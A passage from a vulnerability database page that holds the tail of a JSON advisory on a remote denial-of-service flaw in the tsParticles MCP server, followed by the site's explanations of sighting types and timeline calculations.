      "type": "WEB",
      "url": "https://github.com/tsparticles/tsparticles/commit/25fb70e7f527a91568adaef576570289083f243b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tsparticles/tsparticles/commit/7b3a9488d4201fe9ddd5fec05f4a2ae65d3627ea"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tsparticles/tsparticles"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tsparticles/tsparticles/releases/tag/v4.3.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.